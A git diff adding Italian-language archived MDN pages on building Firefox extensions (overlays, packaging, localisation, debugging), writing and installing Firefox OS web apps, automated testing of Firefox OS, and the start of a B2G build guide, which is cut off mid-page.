+<p>Quindi, la stringa indicata sopra dice che per il pacchetto chrome <b>sample</b>, si possono trovare i suoi file <b>content</b> all'ubicazione &lt;tt&gt;chrome/content&lt;/tt&gt; che è un percorso relativo alla ubicazione di &lt;tt&gt;chrome.manifest&lt;/tt&gt;.</p>
+<p>N.B. i file content, locale e skin devono essere contenuti nelle cartelle chiamate content, locale e skin all'interno della sotto-directory &lt;tt&gt;chrome&lt;/tt&gt;.</p>
+<p>Salva il file. Quando Firefox verrà eseguito con questa estensione, (più avanti in questo tutorial), il chrome.manifest registrerà il pacchetto chrome.</p>
+<h4 id="Registrare_un_Overlay" name="Registrare_un_Overlay">Registrare un Overlay</h4>
+<p>E' necessario che Firefox fonda il tuo overlay con la finestra del browser ogni volta che ne mostra una. Quindi aggiungi questa stringa al file &lt;tt&gt;chrome.manifest&lt;/tt&gt;:</p>
+<pre class="eval">overlay <a class="external" rel="freelink">chrome://browser/content/browser.xul</a> <a class="external" rel="freelink">chrome://sample/content/sample.xul</a>
+</pre>
+<p>Questo dice a Firefox di fondere &lt;tt&gt;sample.xul&lt;/tt&gt; in &lt;tt&gt;browser.xul&lt;/tt&gt; quando viene caricato &lt;tt&gt;browser.xul&lt;/tt&gt; .</p>
+<h4 id="Test" name="Test">Test</h4>
+<p>Primo, devi far sapere a Firefox della tua estensione. Nei vecchi e bui giorni di Firefox 1.0 questo significava impacchettare l'estensione come un XPI e installarla attraverso l'interfaccia utente, che era davvero una faticaccia. Ora è più semplice.</p>
+<ol>
+ <li>Apri la <a class="external" href="http://kb.mozillazine.org/Profile_folder">cartella del Profilo</a></li>
+ <li>Apri la cartella dell'<b>estensione</b> (creala se non esiste)</li>
+ <li>Crea un nuovo file di testo e scrivici dentro il percorso alla cartella dell'estensione, ad es. &lt;tt&gt;C:\extensions\myExtension\&lt;/tt&gt; o &lt;tt&gt;~/extensions/myExtension&lt;/tt&gt;. Salva il file con l'ID dell'estensione, per esempio &lt;tt&gt;<a class="link-mailto" href="mailto:sample@foo.net" rel="freelink">sample@foo.net</a>&lt;/tt&gt;</li>
+</ol>
+<p>Ora sei pronto a fare un test dell'estensione!</p>
+<p>Avvia Firefox. Firefox rileverà il link testuale alla directory dell'estensione e la installerà. Quando apparirà la finestra del browser si dovrebbe vedere la scritta "Hello, World!" sulla destra della barra di stato.</p>
+<p>Ora puoi tornare indietro ed effettuare dei cambiamenti al file .xul, chiudere e riavviare Firefox e questi dovrebbero essere mostrati.</p>
+&lt;center&gt;
+ <p><img alt="Image:Helloworld_tools_menu.PNG"></p>
+ <p><img alt="Image:Helloworld_extensions_wnd.PNG"></p>
+&lt;/center&gt;
+<h4 id="Impacchettamento" name="Impacchettamento">Impacchettamento</h4>
+<p>Ora che l'estensione funziona, può essere impacchettata per l'installazione e la circolazione.</p>
+<p>Comprimi il <b>contenuto</b> della cartella dell'estensione (non la cartella stessa), e rinomina il file .zip con l'estensione .xpi. In ambiente Windows XP, si può facilmente esguire questa operazione selezionando tutti i file e le sottocartelle presenti nella cartella dell'estensione, cliccando col tasto destro del mouse e scegliendo "Invia a -&gt; Cartella compressa". Verrà creato un file .zip. Basta rinominarlo ed il gioco è fatto!</p>
+<p>Ora è possibile caricare il file .xpi su un server, avendo cura di controllare che offra il servizio di &lt;tt&gt;application/x-xpinstall&lt;/tt&gt;. Basta quindi creare un collegamento al file sul server per permettere alle persone di scaricare e installare l'estensione su Firefox.</p>
+<p> </p>
+<h5 id="Utilizzare_addons.mozilla.org" name="Utilizzare_addons.mozilla.org">Utilizzare addons.mozilla.org</h5>
+<p>Mozilla Update è un sito di distribuzione dove è possibile ospitare (hosting) le proprie estensioni gratuitamente.
+ <i>
+  Your extension will be hosted on Mozilla's mirror network to guarantee your download even though it might be very popular.</i>
+ Il sito di Mozilla garantisce inoltre agli utenti un'installazione semplificata delle estensioni, e rende automaticamente disponibili, per gli utenti che già le possiedano, gli aggiornamenti ogni volta che viene effettuato l'upload delle nuove versioni delle estensioni. In più Mozilla Update consente agli utenti di commentare e lasciare un feedback sulla estensione. E' vivamente consigliabile di utilizzare Mozilla Update per distribuire le tue estensioni!</p>
+<p>Visita <a class="external" href="http://addons.mozilla.org/developers/" rel="freelink">http://addons.mozilla.org/developers/</a> per creare un account ed iniziare a distribuire le tue estensioni!</p>
+<p>
+ <i>
+  N.B.</i>
+ Le tue estensioni saranno promosse più velocemente e maggiormente scaricate se fornisci una descrizione accurata e alcuni screenshot delle funzionalità dell'estensione.</p>
+<h5 id="Registrare_le_Estensioni_nel_registro_di_Windows" name="Registrare_le_Estensioni_nel_registro_di_Windows">Registrare le Estensioni nel registro di Windows</h5>
+<p>Su Windows, possono essere aggiunte nel registro delle informazioni sulle estensioni, cosicché l'estensione sarà automaticamente caricata all'avvio dell'applicazione. Questo permette ai programmi di installazione delle applicazioni di aggiungere facilmente dei punti di acesso perl'integrazione sottoforma di estensioni. Guarda <a href="it/%22Aggiugere_estensioni_utilizzando_il_Registro_di_Windows%22">"Aggiugere estensioni utilizzando il Registro di Windows"</a> per ulteriori informazioni.</p>
+<h4 id="Altre_informazioni_sugli_Overlay_XUL" name="Altre_informazioni_sugli_Overlay_XUL">Altre informazioni sugli Overlay XUL</h4>
+<p>Oltre che per inserire dei componenti UI ai "punti di fusione", si possono usare i frammenti di XUL negli Overlay per:</p>
+<ul>
+ <li>Modificare degli attributi al punto di fusione, es. &lt;tt&gt;&lt;statusbar id="status-bar" hidden="true"/&gt;&lt;/tt&gt; (nasconde la barra di stato)</li>
+ <li>Rimuovere il punto di fusione dal documento principale, e.g. &lt;tt&gt;&lt;statusbar id="status-bar" removeelement="true"/&gt;&lt;/tt&gt;</li>
+ <li>Controllare la posizione dei componenti inseriti:</li>
+</ul>
+<pre class="eval">&lt;statusbarpanel position="1" .../&gt;
+
+&lt;statusbarpanel insertbefore="other-id" .../&gt;
+
+&lt;statusbarpanel insertafter="other-id" .../&gt;
+</pre>
+<h4 id="Creare_nuovi_componenti_per_l.27interfaccia_utente" name="Creare_nuovi_componenti_per_l.27interfaccia_utente">Creare nuovi componenti per l'interfaccia utente</h4>
+<p>E' possibile creare proprie finestre (e finestre di dialogo) come file .xul separati, fornire nuove funzionalità implementando le azioni disponibili per l'utente nei file .js, usando il metodo DOM per manipolare i componenti UI. Si possono definire le regole di stile nei file .css per associare delle immagini, impostare i colori, etc.</p>
+<p>Guarda la documentazione su <a href="it/XUL">XUL</a> per ulteriori risorse sullo sviluppo con XUL.</p>
+<h4 id="File_predefiniti" name="File_predefiniti">File predefiniti</h4>
+<p>I file predefiniti con i quali modificare il profilo dell'utente dovrebbero essere posti nella cartella &lt;tt&gt;defaults/&lt;/tt&gt; sotto la root della gerarchia di cartelle dell'estensione. I file .js che settano impostazioni predefinite dovrebbero invece essere posti nella cartella &lt;tt&gt;defaults/preferences/&lt;/tt&gt; - infatti, qualora vengano ubicati in queste cartelle, saranno automaticamente caricati dal sistema di preferenze di Firefox all'avvio e sarà possibile accedervi facilmente utilizzando l'<a href="it/API_delle_Preferenze">API delle Preferenze</a>.</p>
+<h4 id="Componenti_XPCOM" name="Componenti_XPCOM">Componenti XPCOM</h4>
+<p>Firefox supporta anche i componenti <a href="it/XPCOM">XPCOM</a> all'interno delle estensioni. Questi componenti possono essere facilmente creati con JavaScript o C++ (utilizzando il <a href="it/Gecko_SDK">Gecko SDK</a>).</p>
+<p>Riponi tutti i file .js o .dll nella directory &lt;tt&gt;components/&lt;/tt&gt; - saranno automaticamente registrati al primo avvio di Firefox successivo all'installazione dell'estensione.</p>
+<p>Per maggiori informazioni guarda <a href="it/Come_costruire_un_componente_XPCOM_con_Javascript">Come costruire un componente XPCOM con Javascript</a> e il libro <a href="it/Creare_componenti_XPCOM">Creare componenti XPCOM</a>.</p>
+<h5 id="Linea_di_comando_per_l.27applicazione" name="Linea_di_comando_per_l.27applicazione">Linea di comando per l'applicazione</h5>
+<p>Uno dei possibili usi dei componenti XPCOM personalizzati è quello di aggiungere una gestione a linea di comando per Firefox o Thunderbird. Questa tecnica è utile per eseguire l'estensione come se fosse un'applicazione:</p>
+<pre class="eval"> firefox.exe -myapp
+</pre>
+<p>Guarda <a href="it/Chrome/Linea_di_comando">Chrome: Linea di comando</a> ed una <a class="external" href="http://forums.mozillazine.org/viewtopic.php?t=365297">discussione sul forum</a>(EN) per maggiori dettagli.</p>
+<h4 id="Localizzazione" name="Localizzazione">Localizzazione</h4>
+<p>Per supportare più di una lingua, occorre separare le stringhe dal contenuto utilizzando le <a href="it/XUL_Tutorial/Localization">entities</a> e le <a href="it/XUL_Tutorial/Property_Files">string bundles</a>. E' più semplice effettuare questa operazione mentre si sviluppa l'estensione che dover tornare indietro e farlo alla fine!</p>
+<p>Le informazioni sulla Localizzazione sono immagazzinate nella directory del locale dell'estensione. Per esempio, per aggiungere un locale all'estensione che abbiamo sviluppato fin ora, basta creare una directory chiamata "locale" nel chrome (dove è ubicata la directory "content") e aggiungere la seguente stringa al file chrome.manifest:</p>
+<pre class="eval">locale sample sampleLocale chrome/locale/
+</pre>
+<p>Per creare valori localizzabili per gli attributi XUL, è necessario inserire tali valori in un file &lt;tt&gt;.ent&lt;/tt&gt; (o &lt;tt&gt;.dtd&lt;/tt&gt;), che deve essere ubicato nella directory del locale ed avere questo aspetto:</p>
+<pre class="eval">&lt;!ENTITY  button.label     "Click Me!"&gt;
+&lt;!ENTITY  button.accesskey "C"&gt;
+</pre>
+<p>E quindi includere all'inizio del documento XUL (ma dopo il prologo "&lt;?xml version"1.0"?&gt;") qualcosa del genere:</p>
+<pre class="eval">&lt;!DOCTYPE <b>window</b> SYSTEM "<a class="external" rel="freelink">chrome://packagename/locale/filename.ent</a>"&gt;
+</pre>
+<p>dove <code><b>window</b></code> è il valore <code><a href="it/DOM/element.localName">localName</a></code> dell'elemento di root del documento XUL, ed il valore della proprietà &lt;tt&gt;SYSTEM&lt;/tt&gt; è l'URI chrome al file dell'entità (entity). Nell'estensione dell'esempio, l'elemento di root è <code><b>overlay</b></code>.</p>
+<p>Per usare le entità occorre modificare il proprio XUL così:</p>
+<pre class="eval">&lt;button label="&amp;button.label;" accesskey="&amp;button.accesskey;"/&gt;
+</pre>
+<p>Il Registro del Chrome farà in modo che il file dell'entità venga caricato dalla cartella del locale corrispondente al locale selezionato.</p>
+<p>Per le stringhe usate negli script crea un file .properties: un file di testo che contiene una stinga per ogni linea in questo formato:</p>
+<pre class="eval">chiave=valore
+</pre>
+<p>e utilizza il tag &lt;tt&gt;<a href="it/NsIStringBundleService">nsIStringBundleService</a>&lt;/tt&gt;/&lt;tt&gt;<a href="it/NsIStringBundle">nsIStringBundle</a>&lt;/tt&gt; o il tag &lt;tt&gt;<a class="external" href="http://xulplanet.com/references/elemref/ref_stringbundle.html">&lt;stringbundle&gt;</a>&lt;/tt&gt; per caricare i valori negli script.</p>
+<h4 id="Conoscere_il_Browser" name="Conoscere_il_Browser">Conoscere il Browser</h4>
+<p>Usa il <a href="it/DOM_Inspector">DOM Inspector</a> (non è parte dell'installazione <b>Standard</b> di Firefox, se manca dal menu Strumenti occorre reinstallare Firefox con l'opzione "installazione personalizzata" e selezionare <b>Strumenti di sviluppo</b>) per esplorare la finestra del browser ed ogni altra finestra XUL che hai l'intenzione di estendere.</p>
+<p>Utilizza il pulsante in alto a sinistra nella bara degli strumenti del DOM Inspector per attivare la modalità di ricerca dei nodi "punta-e-clicca": in tal modo basterà un clic visuale su un nodo nella finestra XUL per selezionarlo. Effettuando quest'operazione l'albero della gerarchia DOM del DOM inspector salterà automaticamente al nodo selezionato.</p>
+<p>Usa il pannello di destra del DOM Inspector per trovare i punti di fusione e gli "id" da usare per inserire gli elementi tramite l'overlay. Se non riesci a trovare un elemento che abbia un'id sulla quale sia possibile effettuare l'inserimento, potrebbe essere necessario aggiungere uno script nell'overlay per inserire i propri elementi quando l'evento &lt;tt&gt;load&lt;/tt&gt; si attiva nella finestra XUL principale.</p>
+<h4 id="Effettuare_il_debug_sull.27estensione" name="Effettuare_il_debug_sull.27estensione">Effettuare il debug sull'estensione</h4>
+<p><b>Strumenti per il debug analitico</b></p>
+<ul>
+ <li>Il <a href="it/DOM_Inspector">DOM Inspector</a> - ispeziona gli attributi, la struttura DOM, le regole di stile CSS che sono attive (ad es. si può capire perché le proprie regole di stile non sembrano funzionare per un elemento - uno strumento inestimabile!)</li>
+ <li><a href="it/Venkman">Venkman</a> - imposta i punti d'arresto in JavaScript ed esamina le
+  <i>
+   call stacks</i>
+ </li>
+ <li><code><a href="it/Core_JavaScript_1.5_Reference/Objects/Function/arguments/callee">arguments.callee</a>.<a href="it/Core_JavaScript_1.5_Reference/Objects/Function/caller">caller</a></code> in JavaScript - accede allo stack di chiamata di una funzione</li>
+</ul>
+<p><b>Debug con printf</b></p>
+<ul>
+ <li>Esegui Firefox con il parametro &lt;tt&gt;-console&lt;/tt&gt; sulla linea di comando e utilizza <code><a href="it/DOM/window.dump">dump</a>("string")</code> (guarda il link per dettagli)</li>
+ <li>Utilizza <code><a href="it/NsIConsoleService">nsIConsoleService</a></code> per accedere alla console JavaScript</li>
+</ul>
+<p><b>Debug avanzato</b></p>
+<ul>
+ <li>Esegui una build di debug di Firefox ed imposta dei punti di arresto in Firefox stesso, o nei tuoi componenti C++. Per gli sviluppatori esperti, questa è spesso il modo più veloce per diagnosticare un problema. Guarda la <a href="it/Documentazione_sulla_build">Documentazione sulla build</a> e <a href="it/Sviluppare_Mozilla">Sviluppare Mozilla</a> per ulteriori informazioni.</li>
+ <li>Guarda <a href="it/Eseguire_un_debug_su_un'applicazione_XULRunner">Eseguire un debug su un'applicazione XULRunner</a> per altri suggerimenti utili.</li>
+</ul>
+<h3 id="Iniziare_velocemente" name="Iniziare_velocemente">Iniziare velocemente</h3>
+<p>Può essere utilizzato lo strumento online <a class="external" href="http://ted.mielczarek.org/code/mozilla/extensionwiz/">Extension Wizard</a>(EN) per generare una semplice estensione.</p>
+<p>Un'estensione <a class="external" href="http://mozilla.doslash.org/stuff/helloworld.zip">"Hello World"</a>(EN) simile a quella prodotta dall'Extension Wizard è spiegata passo-passo in <a class="external" href="http://kb.mozillazine.org/Getting_started_with_extension_development">un altro tutorial di MozillaZine</a>(EN).</p>
+<p>{{ languages( { "en": "en/Building_an_Extension", "de": "de/Erweiterung_erstellen", "es": "es/Creando_una_extensi\u00f3n", "fr": "fr/Construire_une_extension", "ja": "ja/Building_an_Extension", "pl": "pl/Tworzymy_rozszerzenie", "pt": "pt/Construir_uma_Extens\u00e3o" } ) }}</p>
diff --git a/files/it/archive/b2g_os/apps/index.html b/files/it/archive/b2g_os/apps/index.html
new file mode 100644
index 0000000000..5f4b422008
--- /dev/null
+++ b/files/it/archive/b2g_os/apps/index.html
@@ -0,0 +1,48 @@
+---
+title: Creare App per Firefox OS
+slug: Archive/B2G_OS/Apps
+translation_of: Web/Apps/Fundamentals
+---
+<p>Le applicazioni per Firefox OS sono open Web App che si basano interamento sulle open Web Technology come JavaScript, HTML e CSS.<br>
+ La nostra documentazione per le app copre principalmente quasi tutto ciò di cui hai bisogno e questi sono alcuni argomenti specifici per lo sviluppo su Firefox OS che ti potrebbe servire leggere.</p>
+<div class="row topicpage-table">
+ <div class="section">
+  <h2 class="Documentation" id="Documentation" name="Documentation">Documentazione e tutorial</h2>
+  <dl>
+   <dt>
+    <a href="/it/docs/Mozilla/Firefox_OS/Apps/Writing_a_web_app_for_Firefox_OS">Scrivere una web app per Firefox OS</a></dt>
+   <dd>
+    Un tutorial per creare a tua prima web app per Firefox OS.</dd>
+   <dt>
+    <a href="/en-US/docs/Mozilla/Firefox_OS/UX" title="/en-US/docs/Mozilla/Firefox_OS/UX">Esperienza utente</a></dt>
+   <dd>
+    Consigli per aiutarti nello sviluppo della tua app per renderla ancora più favolosa e attraente, sono inclusi modelli e codici già pronti.</dd>
+   <dt>
+    <a href="/en-US/docs/Mozilla/Firefox_OS/Apps/Tips_and_techniques">Consigli e tecniche</a></dt>
+   <dd>
+    Un assortimento di consigli e trucchi (ma anche soluzioni per problemi) che i nostri sviluppatori ti suggeriscono!</dd>
+  </dl>
+  <p><span class="alllinks"><a href="/en-US/docs/tag/Apps">Vedi tutti...</a></span></p>
+ </div>
+ <div class="section">
+  <h2 class="Community" id="Community" name="Community">Ricevi aiuto dalla comunità</h2>
+  <p>Hai bisgno di aiuto per un problema con la tua app e non trovi una soluzione nella documentazione?</p>
+  <ul>
+   <li>Chiedi aiuto nel forum delle web app: {{DiscussionList("dev-webapps", "mozilla.dev.webapps")}}</li>
+   <li>Chiedi aiuto nel forum dedicato al Layout per problemi di HTML e CSS: {{ DiscussionList("dev-tech-css", "mozilla.dev.tech.layout") }}</li>
+   <li>Chiedi aiuto sul canale IRC di Mozilla: <a class="link-irc" href="irc://irc.mozilla.org/openwebapps">#openwebapps</a></li>
+  </ul>
+  <p><span class="alllinks"><a class="external" href="http://www.catb.org/~esr/faqs/smart-questions.html"><em>E non ti dimenticare della netiquette</em>...</a></span></p>
+  <h2 class="Tools" id="Tools" name="Tools">Strumenti</h2>
+  <ul>
+   <li><span class="external">Il <a href="/en-US/docs/Tools/Debugger">Debugger</a> di Firefox è ciò che ti serve per il debug da remoto della tua app per Firefox OS</span></li>
+   <li><span class="external">Altri <a href="/en-US/docs/Tools">Strumenti per sviluppatori</a></span></li>
+  </ul>
+  <p><span class="alllinks"><a href="/en-US/docs/tag/Tools">Vedi tutti...</a></span></p>
+  <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Argomenti utili</h2>
+  <ul>
+   <li><a href="/en-US/docs/Apps">Apps</a></li>
+  </ul>
+ </div>
+</div>
+<p> </p>
diff --git a/files/it/archive/b2g_os/apps/writing_a_web_app_for_firefox_os/index.html b/files/it/archive/b2g_os/apps/writing_a_web_app_for_firefox_os/index.html
new file mode 100644
index 0000000000..d186c908cb
--- /dev/null
+++ b/files/it/archive/b2g_os/apps/writing_a_web_app_for_firefox_os/index.html
@@ -0,0 +1,34 @@
+---
+title: Scrivere una web app per Firefox OS
+slug: Archive/B2G_OS/Apps/Writing_a_web_app_for_Firefox_OS
+translation_of: Web/Apps/Fundamentals/Quickstart
+---
+<p>Le app per B2G/Firefox OS sono web app scritte in HTML, CSS e JavaScript. Le puoi pubblicare sul web esattamente come faresti con un sito. Per rendere un sito installabile come web app sui dispositivi devi solo aggiungere un <em>file manifest</em> e un pulsante al tuo sito per avviare l'installazione.</p>
+
+<p>I seguenti argomenti sono il punto di partenza raccomandato:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Apps/Getting_Started">Comincia a sviluppare la tua app</a></li>
+ <li><a href="/en-US/docs/Apps/Manifest">App manifest</a></li>
+</ul>
+
+<p>Naturalmente sentititi libero di <a href="/en-US/docs/Apps">immergerti ancora più in profondità nelle open Web Apps</a>!</p>
+
+<h2 id="Installare_le_web_app">Installare le web app</h2>
+
+<p>Dopo aver pubblicato app e file <em>manifest </em>sul web devi far in modo che il browser se ne accorga. Nel momento dell'installazione, il browser cerca il file <em>manifest</em> e aggiunge ciò che serve alla home screen, etc.</p>
+
+<p>Per installare un'app devi fare eseguire una chiamata a <a href="/en-US/docs/DOM/Apps.install"><code>navigator.mozApps.install</code> API</a>. Questo è un esempio per il pulsante di installazione che puoi inserire nella tua app quando la pubblicherai:</p>
+
+<pre class="brush: html">&lt;script&gt;
+var manifest_url = "http://my.webapp.com/manifest.json";
+&lt;/script&gt;
+
+&lt;button onclick="navigator.mozApps.install(manifest_url); return false;"&gt;
+  Installa questa fantastica app nella tua schermata Home!
+&lt;/button&gt;
+</pre>
+
+<p>Nota: questo pulsante potrebbe anche essere aggiunto in un app market come il  <a href="/en-US/docs/Apps/Submitting_an_app">Firefox Marketplace</a>, ma spesso è molto comodo avere un link a "Installa come Web app" sulla pagina principale del tuo sito.</p>
+
+<p>Adesso visita il tuo sito nel browser di B2G/Firefox OS e installa la tua app cliccando sul bottone "Installa come web app".</p>
diff --git a/files/it/archive/b2g_os/automated_testing/index.html b/files/it/archive/b2g_os/automated_testing/index.html
new file mode 100644
index 0000000000..9a725806c4
--- /dev/null
+++ b/files/it/archive/b2g_os/automated_testing/index.html
@@ -0,0 +1,93 @@
+---
+title: Automated Testing of Firefox OS
+slug: Archive/B2G_OS/Automated_testing
+translation_of: Archive/B2G_OS/Automated_testing
+---
+<p><strong><span style="line-height: 1.5; background-color: rgb(255, 255, 255);">Dato che </span></strong><span style="font-weight: bold; line-height: 1.5; background-color: rgb(244, 247, 248);"> Firefox OS </span><strong>è ancora in fase di sviluppo</strong><span style="font-weight: bold; line-height: 1.5; background-color: rgb(244, 247, 248);">, </span><strong>e il supporto per nuovo hardware sarà imminente per il prossimo futuro</strong><span style="font-weight: bold; line-height: 1.5; background-color: rgb(244, 247, 248);">, </span><strong>è importante sapere come provarlo</strong><span style="font-weight: bold; line-height: 1.5; background-color: rgb(244, 247, 248);">. </span><span class="seoSummary" style="font-weight: bold; line-height: 1.5; background-color: rgb(244, 247, 248);">Questa pagina offre articoli che forniscono informazioni su vari aspetti della sperimentazione Firefox OS, tra cui l'esecuzione di test differenti, l'automazione, e risultato di reporting e di monitoraggio.</span></p>
+
+<h2 id="Inziamo">Inziamo</h2>
+
+<dl>
+ <dt><a href="/en-US/Firefox_OS/Running_Tests_on_Firefox_OS_for_Developers">Esecuzione di test su Firefox OS: Una guida per gli sviluppatori</a></dt>
+ <dd><strong>A, guida pratica sviluppatori focalizzati ad ottenere iniziato con l'esecuzione dei test. Questo è dove si dovrebbe cominciare se non siete esperti nella gestione di test di Mozilla e sistemi di automazione. Se si, allora probabilmente avete un'idea di ciò che i test che si desidera eseguire e come, e si può saltare a delle guide dettagliate più specifici indicati di seguito.</strong></dd>
+</dl>
+
+<h2 id="Gaia_tests">Gaia tests</h2>
+
+<p>These articles cover the primary test suites designed to put Gaia through its paces.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Automated_testing/gaia-ui-tests" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing/gaia-ui-tests">Gaia UI tests</a></dt>
+ <dd>Python tests for Gaia UI interactions and features.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Automated_testing/Gaia_integration_tests">Gaia integration tests</a></dt>
+ <dd>JavaScript integration tests for Gaia, based on Marionette.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Automated_testing/Gaia_unit_tests" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing/Gaia_unit_tests">Gaia unit tests</a></dt>
+ <dd>Gaia unit tests with no UI interaction; written in JavaScript, not Marionette-based.</dd>
+ <dt><a href="/en-US/Firefox_OS/Platform/Automated_testing/Gaia_performance_tests">Gaia performance tests</a></dt>
+ <dd>Measures Gaia app performance based on internal instrumentation. The testing harness is in-tree.</dd>
+</dl>
+
+<h2 id="B2G_tests">B2G tests</h2>
+
+<p>The guides below cover a number of different test harnesses that test various aspects of B2G functionality.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Automated_testing/Mochitests" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing/Mochitests">Mochitests</a></dt>
+ <dd>Gecko functional and API tests; HTML &amp; JS based.  No Gaia interaction.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Automated_testing/Reftests" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing/Reftests">Reftests</a></dt>
+ <dd>Gecko rendering correctness tests.</dd>
+ <dt><a href="/en-US/docs/Marionette/Marionette_JavaScript_Tests" title="/en-US/docs/Marionette/Marionette_JavaScript_Tests">WebAPI tests</a></dt>
+ <dd>Gecko JS-based WebAPI tests; most of these require an emulator.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Automated_testing/XPCShell" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Testing/XPCShell">xpcshell tests</a></dt>
+ <dd>Headless tests of Gecko XPCOM APIs.</dd>
+ <dt><a href="https://github.com/mozilla/b2gperf" title="https://github.com/mozilla/b2gperf">B2GPerf</a></dt>
+ <dd>Measures Gaia app performance based on internal instrumentation.</dd>
+ <dt><a href="https://wiki.mozilla.org/Project_Eideticker" title="https://github.com/mozilla/eideticker">Eideticker</a></dt>
+ <dd>Provides performance measurements for Firefox OS based on video captures.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Automated_testing/endurance_tests" title="/en-US/docs/Mozilla/Firefox_OS/Platform/Automated_testing/endurance_tests">Endurance tests</a></dt>
+ <dd>Long-running repetitive tests designed to find memory leaks and stability problems.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Automated_testing/MTBF_tests">MTBF test</a></dt>
+ <dd>This is a test framework based on non-restart gaia-ui-test. It tries to locate all kinds of issue prevents tests from running in a long time. (Currently, it is owned by Taiwan QA team and still a developing test framework)</dd>
+ <dt>Memory tests - coming soon</dt>
+ <dd>Repetitive tests run per-commit to mozilla-central, reporting to <a href="https://areweslimyet.com/" title="https://areweslimyet.com/">https://areweslimyet.com/</a>, designed to find problems with memory usage.</dd>
+</dl>
+
+<h2 id="Supporting_documentation">Supporting documentation</h2>
+
+<p>This section provides links to some of the supporting technologies that underpin Mozilla's tests, which you may want to find more information about.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Marionette" title="/en-US/docs/Marionette">Marionette</a></dt>
+ <dd>A remote test driver based on Selenium WebDriver.</dd>
+ <dt><a href="/en-US/docs/Marionette/Marionette_JavaScript_Tools" title="/en-US/docs/Marionette/Marionette_JavaScript_Tools">Marionette JavaScript tests</a></dt>
+ <dd>A node.js-based runner for Marionette.</dd>
+ <dt><a href="/en-US/docs/Marionette/Python_Marionette" title="/en-US/docs/Marionette/Python_Marionette">Marionette Python tests</a></dt>
+ <dd>A Python runner for Marionette.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Note</strong>: If you want to run Marionette against a production build (to run gaia integration tests, gaia-ui-tests, etc.), you can <a href="https://github.com/mozilla-b2g/marionette-extension">install Marionette as an extension</a> (this currently only works for 1.3 builds, but more support will be added soon.)</p>
+</div>
+
+<h2 id="Continuous_integration_and_result_reporting">Continuous integration and result reporting</h2>
+
+<p>The following articles cover the continuous integration and result reporting mechanisms Mozilla uses to store and intepret test data.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/TBPL">TBPL</a></dt>
+ <dd>Understand the tests and builds that run on TBPL.</dd>
+ <dt><a href="https://wiki.mozilla.org/QA/Execution/Web_Testing/Automation/Jenkins">Jenkins</a></dt>
+ <dd>Understand the tests that are run on real devices via Jenkins.</dd>
+ <dt><a href="https://wiki.mozilla.org/B2G/Datazilla" title="https://wiki.mozilla.org/B2G/Datazilla">Datazilla</a></dt>
+ <dd>Understand which performance tests are reporting to the <a href="https://datazilla.mozilla.org/b2g/" title="https://datazilla.mozilla.org/b2g/">Datazilla dashboard</a>, and what those tests measure.</dd>
+ <dt><a href="/en-US/docs/Mozilla/Firefox_OS/Platform/Automated_testing/Test_Execution_Chart" title="/en-US/docs/Mozilla/Firefox_OS/Testing/Test_Execution_Chart">Test execution chart</a></dt>
+ <dd>A chart showing which tests are being run — on what devices and where — and which platforms are supported for each test.</dd>
+</dl>
+
+<h2 class="Community" id="Community" name="Community">Unit testing framework video</h2>
+
+<p>{{EmbedYouTube("LxnRIm0wLLo")}}</p>
+
+<dl>
+ <dt> </dt>
+</dl>
diff --git a/files/it/archive/b2g_os/building/index.html b/files/it/archive/b2g_os/building/index.html
new file mode 100644
index 0000000000..ce4dcf887b
--- /dev/null
+++ b/files/it/archive/b2g_os/building/index.html
@@ -0,0 +1,241 @@
+---
+title: Build-are Firefox OS
+slug: Archive/B2G_OS/Building
+translation_of: Archive/B2G_OS/Building
+---
+<div class="summary">
+ <p>Once you've <a href="/en-US/docs/Mozilla/Firefox_OS/Firefox_OS_build_prerequisites" title="Mozilla/Firefox_OS/Firefox_OS_build_prerequisites">set up your build system</a> and performed your <a href="/en-US/docs/Mozilla/Firefox_OS/Preparing_for_your_first_B2G_build" title="Mozilla/Firefox_OS/Preparing_for_your_first_B2G_build">initial pull and configure</a> of the code, you can build Boot to Gecko. This guide explains how.</p>
+</div>
+<h2 id="Updating_your_code">Updating your code</h2>
+<p>If this isn't your very first time building B2G, you might want to pull the latest code before you start to build. To do that, you should update both the B2G tools and the dependencies, using the following two commands:</p>
+<pre>git pull
+./repo sync -d
+</pre>
+<p>You can update a specific make target's repository by specifying its name:</p>
+<pre>./repo sync gaia
+</pre>
+<p>The repo command has other options available that might be interesting; <code>repo help</code> will give you a lot of information.</p>
+<h2 id="Building">Building</h2>
+<div class="note">
+ <p><strong>Note:</strong> Before building, you may want to set up a <code>.userconfig</code> file to customize the build. See <a href="/en-US/docs/Mozilla/Firefox_OS/Customization_with_the_.userconfig_file" title="Mozilla/Firefox_OS/Customization_with_the_.userconfig_file">Customization with the .userconfig file</a> for details.</p>
+</div>
+<p>To build Boot to Gecko, simply use the <code>build.sh</code> tool:</p>
+<pre>cd B2G
+./build.sh
+</pre>
+<p>Time for another coffee break, or possibly a nap (especially if this is your first build). As in the configure step on the previous page, if you are using a directory of previously-extracted Android system files, you should set ANDROIDFS_DIR before running build.sh.</p>
+<h3 id="Building_specific_modules">Building specific modules</h3>
+<p>If you want to build just a particular module, such as Gecko, you can specify it by name:</p>
+<pre>./build.sh gecko
+</pre>
+<p>In order to refresh only one application, you can build only <code>gaia</code> module by using the <code>BUILD_APP_NAME</code> environment variable:</p>
+<pre>BUILD_APP_NAME=calendar ./build.sh gaia</pre>
+<p>To get a list of the modules you can build, you can do:</p>
+<pre>./build.sh modules
